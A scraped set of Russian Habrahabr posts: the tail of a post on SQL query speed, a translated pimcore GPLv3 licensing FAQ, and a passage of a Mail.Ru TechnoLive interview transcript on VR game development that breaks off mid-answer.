Прирост на два порядка. Для примера еще, по диапазону: SELECT * FROM CDR WHERE src=***** AND date>'2016-09-01' AND date<'2016-09-05'; /* Affected rows: 0 Найденные строки: 1 Предупреждения: 0 Длительность 1 query: 3,900 sec. */
https://habrahabr.ru/post/318770/
habrahabr
FAQ по лицензированию pimcore
['cms', 'pimcore', 'faq', 'gpl', 'gplv3', 'open source', 'авторские права', 'лицензирование']
Следующий перевод справочного материала по лицензированию CMS посвящен проекту pimcore родом из Австрии. Эта система уже успела несколько лет назад отметиться как самый перспективный Open...
Следующий перевод справочного материала по лицензированию CMS посвящен проекту pimcore родом из Австрии. Эта система уже успела несколько лет назад отметиться как самый перспективный Open Source-проект по версии Open Source Awards 2010, а также получить такую награду, как Frost & Sullivan Content Management Systems Technology Innovation Award 2016 в текущем году. Во многом этот документ базируется на аналогичном материале про лицензирование Drupal, но также имеет и свои особенности. Если вам будет интересно их узнать, читайте об этом ниже. Какая лицензия у pimcore? Pimcore и все файлы, доступные на pimcore.org или на официальном репозитории Git, доступны на условиях двух различных лицензий: • Лицензия GNU General Public License версии 3 (GPLv3) • Корпоративная лицензия pimcore (PEL) Если вы не имеете отдельного письменного лицензионного соглашения между собой и pimcore GmbH, тогда к вам всегда применима лицензия GPLv3. В данном FAQ речь только про GPLv3. GPLv3 FAQ Что означает лицензирован на условиях GPLv3? Это означает, что вы можете свободно скачивать, использовать, модифицировать и распространять любые файлы, размещенные в репозиториях Git на pimcore.org на условиях лицензии как GPL версии 3, и запускать pimcore для комбинирования с любым кодом, распространяемым под любой лицензией, которая совместима с лицензией GPL версии 3, такая как лицензия Affero General Public License (AGPL) версии 3. Лицензия распространяется только на PHP или на все? Мы требуем, чтобы все файлы (PHP, Javascript, CSS, изображения и т.п.), которые не являются частью связанной сторонней библиотеки (см. 3rd-party-licenses.md ) были доступны на условиях GPLv3. Авторское право и контрибьюты Все контрибьюторы pimcore сохраняют за собой авторское право на свой код, но дают согласие на его опубликование под той же лицензией, что и pimcore. Если вы не можете или не желаете предоставить патч на условиях лицензии GPL версии 3 и корпоративной лицензии pimcore, не предоставляйте патч. Я желаю опубликовать свою работу на условиях иной лицензии, а не GPLv3 — это возможно? Нет. Вы можете опубликовать свою работу только на условиях лицензии GPL версии 3 или более поздней совместимой лицензии. Лицензия GPL требует, чтобы я распространял «исходный код» моих файлов. Что это означает для веб-приложения? «Исходный код» файла означает формат, который может быть отредактирован человеком. Что это означает, зависит от конкретного файла. Для кода PHP, сам файл PHP без какой-либо компрессии или обфускации является исходным кодом. Отметим, что в pimcore файлы контроллера / просмотра являются кодом PHP. Для кода JavaScript, сам файл JavaScript без какой-либо компрессии или обфускации является исходным кодом. Для кода CSS, сам файл CSS без какой-либо компрессии или обфускации является исходным кодом. Для изображений понятие «исходного кода» различается. В зависимости от изображения, это может означать продакшн-версию файла, как например PNG или GIF, или оригинальную в высоком разрешении JPG, или файла программ Photoshop, Illustrator или GIMP. «Исходный код» означает любую возможную версию, предназначенную для редактирования человеком. Если я создам модуль, плагин или собственный код для моего приложения, должен ли я применить к ним лицензию GPL? Да. Модули и плагины для Pimcore равно как и собственный код для вашего приложения, являются производными произведениями по отношению к pimcore. Если вы их распространяете, вы должны это делать на условиях лицензии GPL версии 3 или более поздней. В любом случае, вы не обязаны их распространять. Как бы то ни было, когда вы распространяете свою работу, сделанную на основе pimcore, важно иметь в виду, что к ней применяется лицензия GPLv3. Лицензия GPLv3 на код применяется на код, который взаимодействует с кодом, но не на данные. Так, PHP код pimcore лицензирован по лицензии GPLv3, и поэтому весь PHP код, который взаимодействует с ним, также должен быть лицензирован по лицензии GPLv3 или совместимой с GPLv3 лицензией. Изображения, JavaScript и флэш-файлы, которые PHP отправляет браузеру, не подпадают под действие GPL, потому что это данные. Тем не менее, JavaScript из pimcore, включающий в себя копию jQuery, которая входит в состав pimcore, распространяется на условиях GPLv3, поэтому JavaScript, который взаимодействует в браузере с JavaScript из pimcore, также должен распространяться на условиях GPLv3 или лицензии, совместимой с GPLv3. При распространении вами своего плагина, модуля или темы, GPLv3 применяется к любому фрагменту, который прямо взаимодействует с частями pimcore, который лицензирован по GPLv3. Это не распространяется на созданные вами изображения и флэш-файлы. Тем не менее, если вы делаете новое изображение на основе изображения из pimcore, которое распространяется на условиях GPL, то такое изображение должно быть лицензировано также по GPLv3. Если вы загрузили модуль или плагин в репозиторий pimcore Git, то все элементы вашей работы должны быть лицензированы на условиях лицензии GPL версии 3 или более поздней, и вы должны предоставить их исходный код. Это означает все файлы в редактируемом формате, как описано выше. Если я создам плагин, модуль или собственный код для моего приложения, должен ли я предоставить его кому угодно? Нет. Лицензия GPL требует, что если вы создаете производную работу от pimcore и распространяете ее кому-либо, вы должны предоставить такому лицу ее исходный код на условиях GPLv3, чтобы ее можно было модифицировать и распространять также на условиях GPLv3. Тем не менее, вы не обязаны распространять код кому-либо еще. Если вы не распространяете код, но только используете его в своей организации, вы не обязаны предоставлять его кому-либо. Тем не менее, если ваш плагин общего назначения, зачастую хорошей идеей является все-таки предоставление кода сообществу. Вы можете получать отзывы, сообщения об ошибках и патчи нового функционала от других людей, для которых ваш модуль будет полезным. Могу ли я продавать pimcore или плагин для pimcore или тему для pimcore? Да. Тем не менее, вы должны распространять его на условиях лицензии GPL версии 3 или более поздней, поэтому то, что вы продаете, должно быть также доступно для модификации и распространения. Смотри вопросы выше. Могу ли я написать «связующий модуль» для взаимодействия между pimcore и другой системой или библиотекой? Это зависит от другой системы. Допустимо распространять модуль, который взаимодействует со сторонней системой посредством HTTP, XML-RPC, SOAP или иного проводного протокола, который оставляет стороннюю систему незатронутой. Примеры таких систем включают Flickr, Mollom или определенные системы зависимостей. Примеры таких систем включают Flickr, Mollom или определенные системы зависимостей. Допустимо распространять модуль, который интегрируется со сторонней PHP или JavaScript библиотекой, в течение всего времени, пока библиотека доступна как по лицензии GPL, так и по GPL-совместимой лицензии. Примеры совместимых лицензий включают «разрешительные» лицензии типа BSD/MIT или лицензию Lesser General Public License (LGPL). Фонд Free Software Foundation поддерживает список популярных GPL-совместимых лицензий. Не допустимо распространять модуль, который объединяет с pimcore библиотеку, распространяемую по лицензии, не совместимой с GPL, потому что такое производное произведение будет производной работой как от pimcore, так и от другой библиотеки, и тем самым будет нарушение как GPL, так и лицензии другой библиотеки. Пожалуйста, имейте в виду, что это касается некоторых лицензий открытого программного обеспечения, которые по тем или иным причинам являются несовместимыми с GPL, как например лицензия PHP license, используемая в большинстве пакетов PEAR. Если вы желаете загрузить связующий модуль в репозиторий pimcore Git, пожалуйста не включайте его в состав сторонней библиотеки. Подобное действие создаст форк такой сторонней библиотеки, который сделает более сложным поддержку и только лишь займет место на диске. Вместо этого, предоставьте подробные инструкции пользователям для скачивания и установки такой сторонней библиотеки для ее использования с вашим модулем. Если вы верите, что ваш модуль является особенным случаем, который требует обязательного включения в репозиторий Git, как правило, только потому, что вам необходимо сделать существенные модификации для его работы, пожалуйста разместите вопрос в очереди вопросов Рабочей группы по лицензированию для первоначального обсуждения вашего вопроса. Должен ли я предоставлять код своего сайта любому его посетителю? Нет. Лицензия GPL не рассматривает просмотр сайта как случай «распространения», поэтому вы не обязаны предоставлять код, работающий на вашем сервере. У меня есть вопрос, на который нет ответа здесь. Что я должен делать? Если у вас вопрос про конкретный случай, пожалуйста, проконсультируйтесь с юристом, специализирующимся на вопросах авторского права в вашем регионе. Мы не можем предоставлять юридические консультации. Если у вас общий вопрос про лицензирование pimcore или иные юридические вопросы, пожалуйста разместите свой вопрос в группе обсуждений pimcore. Уведомления / Лицензия этой справочной страницы Этот FAQ основан на www.drupal.org/licensing/faq (изменен) — большое спасибо Ассоциации Drupal! Лицензия: Creative Commons Attribution-ShareAlike license 2.0 (http://creativecommons.org/licenses/by-sa/2.0/) _____________ прим. пер. — Другие мои переводы по лицензированию CMS: FAQ по лицензированию Drupal FAQ по лицензированию Backdrop FAQ по лицензированию Joomla! FAQ по лицензированию papaya CMS FAQ по лицензированию Plone
https://habrahabr.ru/post/318772/
habrahabr
ТехноLive: VR и платформы будущего (Максим Пестун, Дмитрий Трубицын)
['mail.ru', 'ТехноLive']
Поднимающийся тренд этого года — игры VR. Поднимающийся еще дольше, но никак не способный поднять голову тренд — шлемы и очки VR. Раз в несколько месяцев очередная крупная технологическая...
Поднимающийся тренд этого года — игры VR. Поднимающийся еще дольше, но никак не способный поднять голову тренд — шлемы и очки VR. Раз в несколько месяцев очередная крупная технологическая компания анонсирует свое устройство виртуальной реальности. Однако никто пока не предложил достойного сочетания цены и качества. Что же ждет это направление игровой разработки? Завоюют ли технологии виртуальной реальности массовый рынок? Последует ли за ними бум игр под VR-устройства? А если будущее не за ними, то за чем? На эти и другие вопросы в заключительной трансляции ТехноLive в этом году ответит ведущий программист виртуальной реальности Максим Пестун и ведущий дизайнер виртуальной реальности Дмитрий Трубицын. Расшифровку читайте под катом. Прошлые выпуски: Игрок и игра, интерфейс как связующее звено, Ольга Шуберт Как продвигать свою игру среди тысяч конкурентов, Максим Самойленко Как создать успешную мобильную игру, Иван Федянин История игровой индустрии, Александр Кузьменко Видеозапись: https://youtu.be/rBlKwogJx1E Александр Кузьменко: Добрый вечер, дорогие друзья, дорогие зрители. Сегодня у нас очередная серия «Технострима», посвященного разработке видеоигр. Cегодня мы поговорим на самую трендовую тему, которую только можно представить в современной игровой индустрии — на тему виртуальной реальности. Сегодня у нас в гостях люди, которые имеют самое непосредственное отношение к виртуальной реальности — это ведущий программист виртуальной реальности компании Mail.Ru Games Максим Пестун. Максим, очень приятно. Максим Пестун: Всем привет. А.К.: И ведущий дизайнер виртуальной реальности Дмитрий Трубицын. Максим, Дима, вы, так понимаю, сейчас заняты на пока единственном проекте, который у нас есть по виртуальной реальности в компании — это AR Invaders? Дмитрий Трубицын: VR Invaders . А.К.: До AR мы еще дойдем. Сейчас мы поговорим об игре, виртуальной реальности и об индустрии. Но для начала давайте поговорим о вас. Я задаю этот вопрос всем людям, которые сюда приходят, у всех совершенно разная история, но в целом что-то похожее. Как вас в игры занесло? Максим, начнем с тебя. Как ты тут очутился? М.П.: Это долгая история. Приблизительно около 10 лет назад — может быть, чуть меньше, может быть, чуть больше — я занимался виртуальной реальностью в университете на Факультете вычислительной математики и кибернетики МГУ. На дружественном Факультете психологии поставили установку, называется Cave. Это большая коробка из экранов, пещера. Экраны большие, приблизительно 2 на 2 метра, то есть человек туда помещается вполне нормально в полный рост. Есть передний экран, правый, левый и пол. Конкретно в этой установке только такой набор экранов. Экран и пол прозрачные. С противоположных сторон есть проекторы, которые освещают, делают картинку. Внутри находится человек, на нем закреплены очки, а на очках есть датчики, такие рожки, и у них есть на конце круглые шарики для air tracking при помощи инфракрасного цвета. В углах у этого Cave установлены камеры, где отслеживается положение головы человека или игрока. После чего рендерится картинка на каждый из этих проекторов, а это четыре компьютера, каждый компьютер рендерит свою картинку, они все синхронизированы по сети, и выводится индивидуальное изображение для левого и правого глаза. Сначала для левого, потом для правого потом они обратно меняются. И так создается эффект виртуальной среды. И там у нас можно ощутить как бы голограмму, потому что мы видим свои руки. Очки же полупрозрачные, мы смотрим на экраны, а экраны так хорошо друг к другу подогнаны, что стыков не видно, и нам кажется, что мы действительно находимся в виртуальной среде вокруг голограммы. А.К.: Подробно так описываешь, сразу видно, что человек технической специальности. М.П.: Я очень много рассказывал об этом. У меня даже есть целый готовый рассказ. А.К.: Нарисовал уже целую картину. У меня такое ощущение было, что я сам работал в этой лаборатории. И как тебя от этого понесло…? М.П.: В общем, вот этим я начал заниматься и очень долго. Мы проводили различные эксперименты вместе с факультетом психологии, изучали, как виртуальная реальность воздействует на человека, как человек воспринимает виртуальную реальность, писали всякие статьи. Спустя некоторое время я пришел работать в Mail.Ru Group и сразу пошел в gamedev. Здесь написал, что «Хочу к вам прийти работать. Пожалуйста, рассмотрите мою кандидатуру» — «Давай, приходи». Прошел собеседование, все было успешно. Вначале начал работать над Аллоды Онлайн (MMO RPG). Там занимался игрой. После этого перешел на другой проект, затем поработал во множестве других проектов. В конце концов, мой опыт с виртуальной реальностью — он параллельно существовал — пересекся с опытом разработки компьютерных игр, и вот начался проект VR Invaders. И теперь я занимаюсь им. А.К.: Понятно. Длинная история, но поучительная. Дмитрий, а как тебя занесло в игры? Д.Т.: У меня все более гуманитарно, как и положено дизайнеру, хотя мы тоже техническая специальность, много надо уметь делать технического. Но я пришел из игровой журналистики — интересовался играми с детства, вырос на них. Потом трудился в издательском доме «Техномир». Ну, наверняка все лучше знают названия журналов, чем название самого издательского дома — это «Игромания», «Лучшие компьютерные игры» и «Мир фантастики». Писал статьи туда, был редактором. Д.Т.: … и тогда «Лучшие компьютерные игры» пошли на спад, а это было основное место, где я работал. И в какой-то момент я понял, что нужно искать что-то новое, открыл HeadHunter, стал думать, на что я еще гожусь вообще. И тут через день друг, который работал здесь программистом на проекте Аллоды Онлайн, написал мне: «А нам нужны дизайнеры. Не хочешь попробовать?». Я такой: «Ну, а почему бы не попробовать? Классно». И он так меня расслабил. Что я ни делал, он говорил: «Да ты там не напрягайся. Напиши что-нибудь, пришли. Все будет нормально». Я, тем не менее, ответственно подошел, но не думал, что туда будет настолько серьезный отбор и конкурс, когда шел. Но благодаря именно тому, что он так меня прогрузил, как будто это все легко, и уже дело решенное. Видимо, я и попал сюда благополучно. И это было уже, страшно представить, пять с половиной лет назад. По большей части здесь я работал на проекте Skyforge (это тоже MMO), но пришло время заниматься новым, и быть на острие технологий. Перешли не так давно в VR Invaders. Но мы уже полным ходом работаем, и должны довольно скоро выйти. А.К.: Тут надо еще добавить, что ребята работают в офисе, и мы сидим на одном этаже. Буквально в 10 метрах от меня. И это самое прикольное рабочее место, которое есть в игровом отделении, потому что люди сидят, проводят переговоры и прочее. Только в ромашке среди тех столов, где сидят ребята, постоянно какие-то странные люди делают странные движения, как мы говорим. М.П.: Так у нас с этим проблемы, даже почти травмы. Если мы вдвоем, втроем встаем, то мы начинаем пересекаться. А.К.: Да, становится уже узковато. Давайте вернемся к виртуальной реальности. Сформулирую вопрос просто, по-газетному: миф или реальность? Для себя я до сих пор не могу сформировать ответ на этот вопрос. Я столько пересмотрел VR за последние пару лет. Я был в этом феврале на выставке Games Developers Conference, в Сан-Франциско. Самая известная, наверное, индустриальная выставка, точнее даже конференция. Там сложно было найти какой-нибудь стенд или какую-нибудь будку без VR. Там ходила шутка, что у них «VR Free». И я до сих пор не понял. Я видел HTC Vive, я видел и Sony, который теперь называется Sony VR. Д.Т.: И Oculus, наверное, вот у нас здесь лежит. А.К.: Естественно. До сих пор не могу понять. С одной стороны, вроде круто, а через 10 минут укачивать начинает. М.П.: Это тема глубокая. А.К.: Да. В виртуальной реальности, на мой взгляд, сейчас есть какой-то недостаток, как я со своего экспириенса вижу: перенести больше получаса очень тяжело. Может быть, это тренд современного времени, когда идет короткая сессия и прочее. Даже реклама видеоигр, видели, как сейчас сделана: пришел домой, пока жена разогревает борщ, быстренько поиграл. Что вы про это думаете? Не с точки зрения разработчика. Вначале интересно вас услышать как юзера. Д.Т.: С точки зрения игрока я провожу в виртуальной реальности до трех часов, и комфортно себя чувствую. Только вылезаешь, конечно, как из бани — весь красный, но играется комфортно. Привыкаешь. Но у разных людей по-разному. Мы водим людей тестировать игру, и кто-то утомляется очень быстро — за 10-15 минут, — особенно те, у которых проблемы со зрением. Этот вопрос пока не решен, как совместить виртуальную реальность и очки. Эти люди быстрее всего вылетают. Но мне уже комфортно. А.К.: То есть, это вопрос привычки. Очень многие геймеры, которые никогда не играли на ПК, а играли на консолях, и наоборот, зачастую берут мышку: «Что, этим играть?». И наоборот, берут геймпады: «Как в шутеры? Это вообще невозможно». Возможно. М.П.: Я могу ответить за техническую сторону. Почему укачивает? В первую очередь, и это самая банальная проблема каких-либо игр, которые идут в разработке — это низкий frame rate — количество кадров в секунду очень низкое. Если оно ниже 45, то это сложно воспринимать. То есть мы вращаем головой, у нас мир начинает отставать от того, что мы ожидаем увидеть: вестибулярный аппарат, мозг, глаза, все это начинает сбиваться, не понимать, что происходит, и организм ощущает эффект интоксикации. Словно какое-то вредное вещество попало внутрь нас. И мы начинаем потеть, нас укачивает, возникает этот эффект. Для Oculus, Vive рекомендуемый frame rate — 90 кадров в секунду, на оба глаза. То есть у нас, соответственно, есть камера для правого, камера для левого глаза, вместе это приблизительно 180 кадров в секунду. Там есть алгоритмы, которые позволяют уменьшить сложность вычислений, но приблизительно 180 кадров в секунду. И для этого нужна мощная видеокарта. При 90 кадрах, в принципе, все хорошо, не укачивает. Если человек ходит сам по себе, то есть мы берем, например, Vive, у него зона трекинга большая, мы можем прямо надеть шлем, взять джойстики и пойти. 3 на 3 метра можно свободно гулять, и здесь не будет укачивания. Возможно, будет некоторый дискомфорт из-за того, что разрешение экрана будет не очень высокое, пока все-таки видно пиксели за счет линз. Но возникнет проблема, когда мы начнем испытывать ускорение, любое ускорение. Например, мы стоим на какой-то платформе, ее начнет вращать, и нашу камеру тоже начнет вращать. Или если какой-нибудь умелец возьмет и решит приделать эффект трясущейся камеры при взрыве. То есть у нас камера та-да-да, и мы будем думать, что это у нас что-то с головой. Это выносит прямо сразу. Мы даже придумали такой термин, который используем между собой — «вестибулярный удар». Если его схватить, то после этого лучше шлем снять, потому что избавиться от него в шлеме нельзя. Все, вестибулярный удар прошел, отдыхаем полчасика. Только после этого можем надеть шлем заново и продолжить. Если продолжать, то усталость очень быстро накопится и после этого начнется отторжение виртуальной реальности. Туда уже не хочется возвращаться, потому что организму было плохо. А.К.: Понятное дело. Мы же все-таки животные, у нас есть какие-то условные рефлексы. М.П.: Да. Эту точку нельзя проходить. До нее можно, после — нет. А.К.: То есть, разработка игр для VR — очень нежный процесс? Д.Т.: Очень много тонкостей нужно учесть. И первое с чего надо начинать — это с того, как игрок будет перемещаться и ощущать себя в этом виртуальном пространстве. Вопрос перемещения стоит очень остро. Например, если вы скажете: «Вот у нас, допустим, стрелялка, и мы перемещаемся от одного укрытия к другому. Какие здесь могут быть решения?». В компьютерной игре, понятно, джойстик или клавиатура, и вот мы пришли на нужное место. Здесь мы сталкиваемся с тем, что должны найти новый способ перемещения. Что это будет? Часто используется телепортация. То есть я указываю на эту точку и оказываюсь там. Но это рвет погружение. Как это, я взял и перепрыгнул? Это не так круто, как дойти ногами. Но выясняется, что альтернатива еще хуже, потому что если мы покажем на точку и нас потащит туда сама игра, то одно мгновение и все — вас начнет укачивать. Ощущение, что вас схватили и повели. М.П.: Возникает ускорение. Было 0, а потом скорость появилась. Это ускорение. Д.Т.: Причем та, которую человек не контролирует. И это сразу вызывает тошнотворные рефлексы, и это ужасно. Какие варианты? Можно передвигаться, здесь есть рычажок, мы говорим, что мы такие парализованные в кресле-каталке, и мы двигаем рычажок и едем вперед. Тоже не то, тоже не ноги. В общем, поиск еще идет. Вопрос того, как в ограниченном пространстве создать иллюзию огромного пространства еще решается. А.К.: Интересно получается. То есть, возможно, все мои проблемы в виртуальной реальности, о которых я до этого говорил, были связаны не с хардом, а с софтом? Д.Т.: Да, конечно. А.К.: Получается, игры были фиговые? Возможно, что все игры, которые я видел, были, во-первых, достаточно простенькие. Пока я не видел прямо суперсложных игр. Я их видел, если только это был уже известный проект, к нему вокруг прикрепили VR и летают в том же War Thunder, но в шлеме, например. И все проекты, которые я видел, были очень простенькими. Я бы даже сказал, они, скорее, развлекухи, чем игры. Они мне напомнили тот софт, который выпускали изначально… Помните, когда пошла мода на этот direct control, все эти PS Move, Kinect и так далее. Очень похоже на первичный софт для Kinect. Идея вроде отличная, а играть не хочется. Вопрос: а почему в VR Invaders захочется играть? М.П.: Как развивались вообще игры для VR? Вначале и сейчас тоже, игры выходят как ощущения, как демо-сцены. Мы хотим почувствовать, а что это такое, когда вокруг нас динозавры. А что это такое, когда вокруг нас Sci-Fi мир. И мы не хотим играть долго, реально. Мы только что купили шлем. Мы хотим попробовать как можно больше этих впечатлений. А что, если погрузиться в клетки к акулам? По 5 минут мы хотим посмотреть много разного. То есть, как в такой игре — RPG, шмотки надевать, статистику считать — это мы не хотим делать. Мы хотим получить вау-эффект. Поэтому игры выходят такие короткие. Геймплей в них обычно либо практически отсутствует, либо какой-то минимальный. В них обычно нет никакого прохождения как такового. Вы поиграли разок, после этого запустили игру, и то же самое. Такие игры выходят, они востребованы, потому что люди хотят ознакомиться с технологией. Они сейчас не знают пока, хотят ли они погружаться в нее глубоко или нет. После современных игр для VR через несколько лет появятся основательные игры, в которых мы будем играть дольше, принимать решения, исходя из того, как мы играли в прошлый раз. То есть несколько сессий подряд. Сейчас же VR Invaders мы делаем для переходного режима. У нас можно зайти и поиграть быстро. В стиле такой party mode, на вечеринке каждый заходит, играет, получает какие-то очки и после этого передает следующему. Также у нас есть и сюжет. Мы пронизываем те миссии, задания, уровни, которые есть в игре, некоторым сюжетом. Рассказываем его игроку и погружаем вглубь той вселенной, которую создали в игре. И это основное отличие, что мы игру делаем на оба фронта. То есть на старый фронт, где нужен только вау-эффект, и на новый, где нужно уже больше. Где хочется погружения, где хочется игру проходить. Это для тех, кто когда-то купил шлем, получил вау-эффект и сейчас уже хочет: «Давайте следующую стадию». Д.Т.: Я бы это сравнил так, что у нас есть погружение в фильм «5 элемент» (условно, сюжет не такой), который можно один раз посмотреть до конца, а потом можно переиграть одну перестрелку с пришельцами, другую перестрелку и стараться выступить как можно лучше и эффектнее. М.П.: Также для party mode подходит, каждый пытается набить как можно больше очков. А.К.: А теперь простыми словами. Вот надеваю я шлем. Что происходит? Д.Т.: Про что игра? А.К.: Это все очень здорово про переходный период. Я запомню этот очень классный момент. Но вообще что это такое, что за жанр? Д.Т.: У нас стрелялка, тир. Летают в большом количестве роботичные дроны, ты стреляешь в них пистолетом, они стреляют в тебя, заслоняешься энергетическим щитом, блокируешь пули. Пистолет может переключаться в разные режимы — пострелять плазмой, построчить пулеметом, скосить всех лазером. Разные уровни, разные враги, боссы и все это нанизано на единую сюжетную нить. Игровой процесс такой: вижу врага, стреляю, защищаюсь, стреляю в следующего. М.П.: Но есть исключительная особенность: то, что мы не можем испытать в реальной жизни, в виртуальной можем. А.К.: Что, умереть? М.П.: Стрельнуть в тебя можно, кстати говоря. Умрешь. То, что в любом футере нельзя было сделать, пушка не разворачивается, она к экрану приделала, а тут… Д.Т.: А люди хотели этого. Они спрашивали: «Почему я стреляю и не умираю?». Пришлось сделать. М.П.: Да. Все по-честному. В кого попал, того убил. Есть замедление времени, но мы контролируем его. Это интегрировано в игровой процесс целиком и полностью. Мы нажимаем специальную кнопку на щите, у нас время замедляется в 10 раз, и здесь мы как в матрице. Мы можем откинуться назад, пули пролетят над нами, и мы просто восхитимся, как это круто. Надо, чтобы кто-то поддерживал сзади, потому что стоять как Нео будет сложно, но можно. И игрок свободно перемещается. Мы уклоняемся от пуль, можем отойти, можем замедлить время и просто посмотреть, как она пролетела. А.К.: Вы замечали, что существуют некоторые жанры, у которых периодически времена упадка сменяются временем ренессанса. Есть прекрасный жанр, называется «Тир». В 1980-х в игровых автоматах был рассвет, а потом упадок, все перешли на домашние консоли. Затем появились всякие пистолеты, American Laser Games, всякие конторы. Появился CD-ROM и можно было снимать настоящие фильмы. Как народ тогда удивлялся 15 лет назад: «Ух ты! Это же прямо как в кино!». Теперь наконец-то тиры доросли до шутеров от первого лица. Класс! Тут нас, кстати, спрашивали до этого, как долго можно ждать появления VR в онлайн-играх? Тут подразумевались сложные онлайн-игры наподобие MMO, о чем мы с вами практически начали говорить. Вы думаете, что отсидеть 15-часовой рейд в VR реально? Д.Т.: Технология будет дешеветь, очки виртуальной реальности и все эти установки будут становиться доступнее, таким образом рынок будет становиться больше. Различные люди будут хотеть играть, а у них свои запросы, свои интересы, и постепенно разработчики будут думать: «Хм, мы уже не можем сделать просто стрелялочку, таких уже очень много. Надо брать что-то новое. Например, у нас есть игроки в онлайн-игры. Хорошо, мы сделаем для них классный продукт, и тогда они начнут думать, привлекать команду, строить этот большой проект». Я уверен, что время MMO в виртуальной реальности придет. До этого еще нужно достаточно много всего сделать, но я думаю, лет через 5-7 мы увидим первый классный продукт. М.П.: Да, здесь нужно учитывать время разработки и скорость развития устройств, потому что разработка MMO занимает обычно от двух лет, а бывает и 3-4, может быть, даже 5, если какой-то долгострой. А как шагнули устройства за последний год только? А.К.: Например, как Oculus изменился? У меня как-то так было, что я держал их все по очереди, начиная с самой первой итерации. Небо и земля. Но пиксели все равно различаются. М.П.: А как быть, как делать игру? То есть мы планируем наш долгострой на 2-3 года и за это время у нас вышли другие шлемы, другие технологии. Что делать? Д.Т.: Или, например, все тело сканируется и известно в точности, как ты пальчиком подвигал, как ты голову наклонил. Уже надо иначе все придумывать. М.П.: А у нас геймплей заточен под то, что мы джойстики держим. А.К.: Давайте тогда опять немножко отвлечемся от игр. Если мы уже начали говорить про технологии, то давайте про технологии. Вы господа разработчики. Какая сейчас существует самая технологическая штука? Под что сейчас нужно разрабатывать, прежде всего? М.П.: Конечно же, под VR. Д.Т.: Можно внутри VR конкретизировать. А.К.: Да. Под Oculus, под Sony, например, или, может быть, сразу перейти к Vive, который технически выглядит самым продвинутым? М.П.: Технически разрабатывать сейчас особенно не имеет значения подо что. А.К.: У вас какая платформа? М.П.: У нас поддерживается и Oculus, и Vive. Для PlayStation мы на текущий момент не делаем, но кто знает — может быть. С точки зрения трекинга, если буквально два дня назад рассмотреть (в принципе, довольно давно для VR-индустрии). Д.Т.: Два дня назад еще не анонсировали беспроводные шлемы. М.П.: Да. Vive был таким? У нас шлем, как вот этот, к нему приделан вот такой кабель сзади, этот кабель идет в компьютер, он довольно длинный. У нас есть два джойстика и две коробочки, которые осуществляют трекинг. Мы ставим их в углах комнаты. А.К.: Их еще настроить надо. М.П.: Это очень легко. А.К.: Нам потребовалось полтора часа. М.П.: Там есть особенности, но это довольно легко. Может быть, просто то, что непривычно, непонятно, что к чему, и зачем это нужно. А когда уже понимаешь, настроив Vive, настроить Oculus — все уже понятно, все привычно. Эти коробочки осуществляют трекинг. Мы перемещаемся внутри этой виртуальной реальности, держим джойстики и можем свободно ходить по нашей области, которую сделали зоной трекинга. Несколько дней назад еще нельзя было предзаказать вот такие джойстики для Oculus, которые позволяют отслеживать положение рук. У Vive они уже были, а у Oculus нет. У Oculus был обычный джойстик от X-Box. Но сейчас Oculus почти что догнал. То есть там зона трекинга может быть чуть поменьше. Надо посмотреть спецификацию, как у них в итоге получилось. Но мы можем уже ходить по комнате, взаимодействовать с объектами, как и у Vive. Но день или два назад Vive или какая-то другая компания-разработчик, сообщили, что появилось беспроводное устройство. То есть кладется батарейка в карман… А.К.: Прогресс быстрее разработки. М.П.: Да. Это увеличивает зону трекинга сильнее, потому что мы теперь не ограничены проводом, то есть мы можем ходить на большое… Я так предполагаю, что через некоторое время такое же появится и у Oculus, а потом у PlayStation. Соответственно, устройства как таковые предлагают нам экспириенс ходить, плюс взаимодействовать с виртуальным миром при помощи джойстиков. Какой конкретно девайс мы используем, в принципе, без разницы с точки зрения разработчика. Там есть нюансы с точки зрения программного API, как мы с ним можем взаимодействовать, но с точки зрения геймплея — одно и то же. Д.Т.: Потому что эти ребята, которые делают железо, заинтересованы в том, чтобы была возможность максимально легко настроить игру под их устройство. Так что весь рынок взаимодействует с друг другом. А.К.: Что, на ваш взгляд, сейчас есть хорошего из игры для виртуальной реальности? Причем желательно не какие-то франчайзы. Это круто, конечно, в Forza Motorsport ездить в шлеме. Но, может быть, есть что-то особенное, эксклюзивное? Пока меня поразила серьезная игра, наполовину онлайновая, под PlayStation VR, от Ubisoft — Eagle Flight. Это такой ураганный экшен, где друг за другом орлы летают над Парижем. Абсолютно шизофреническая идея, но благодаря тому, что они очень сильно упростили графику и дико врубили там скорость, выглядит просто потрясающе, на мой взгляд. М.П.: Графику они отрубили специально. А.К.: Да. Это пока мой фаворит. А у вас есть какие-нибудь специальные эксклюзивы? Д.Т.: Меня чаще всего заинтересовывают довольно маленькие проекты. Мне очень понравился виртуальный музей изящных искусств. Я поиграл. Там экспозиция, несколько залов, можно ходить, смотреть. При этом, если ты будешь пялиться какой-нибудь Венере прямо на ее обнаженное тело вот так нос к носу, никто слова не скажет, потому что рядом никого нет. М.П.: Но на мониторе рендер-то, кстати, есть, имей в виду. А.К.: Молодой человек, отойдите от статуи. Д.Т.: И при этом это реально как музей будущего, потому что ты подходишь к экспонату, и из воздуха появляется его описание. Отошел от экспоната — описания нет, ничто не портит вид, создается ощущение роскошного погружения и близкого контакта с искусством. Захотели — поместили одну статую под снег. Снег идет. Чтобы организовать такое в музее, нужны огромные деньги. А здесь каждый получает личные ощущения, тебе комфортно, ты ни с кем не толкаешься. И все это эстетично и приятно сделано. Человек просто сделал дипломную работу, а я получаю огромное удовольствие от игры. Или можно попасть внутрь картин Ван Гога, пространство, созданное в стиле его рисунков, где можно выглянуть из окна, и увидеть звездное небо в точности, как он нарисовал или самого Ван Гога, где он сидит в точности как на своем автопортрете. Такие вещи, которые перемещают тебя не просто в другое пространство, а в иначе созданные пространства, меня очень захватывают. М.П.: У меня подход более технический. Мне нравится игра, она доступна в Steam, называется ModeBox. Суть ее заключается в том, что у нас есть виртуальная среда. Мы берем палитру, у нас там есть кубики, всякие треугольнички, горочки, колеса, механизмы, различные переключатели, свичи, что угодно, даже пистолет там есть, бита, ракетка — что угодно. Мы берем их и начинаем собирать на сцене все что угодно. Это как конструктор. Очень хорошо развивает воображение. Потому что мы привыкли, что у нас есть конструктор Lego или какой-то другой, и мы из них можем собрать нашу машинку и мы ограничены в выборе: а) законами физики, которые у нас тут есть, потому что машинка всегда будет падать вниз; б) тем набором кубиков, их размером, которые у нас есть. Здесь же мы хотим маленький кубик — пожалуйста, как в Mineсraft можем собирать маленькую стену. А потом говорим: «Нет, нам нужен большой размером с десять 10-этажных домов». Опа — кубик. 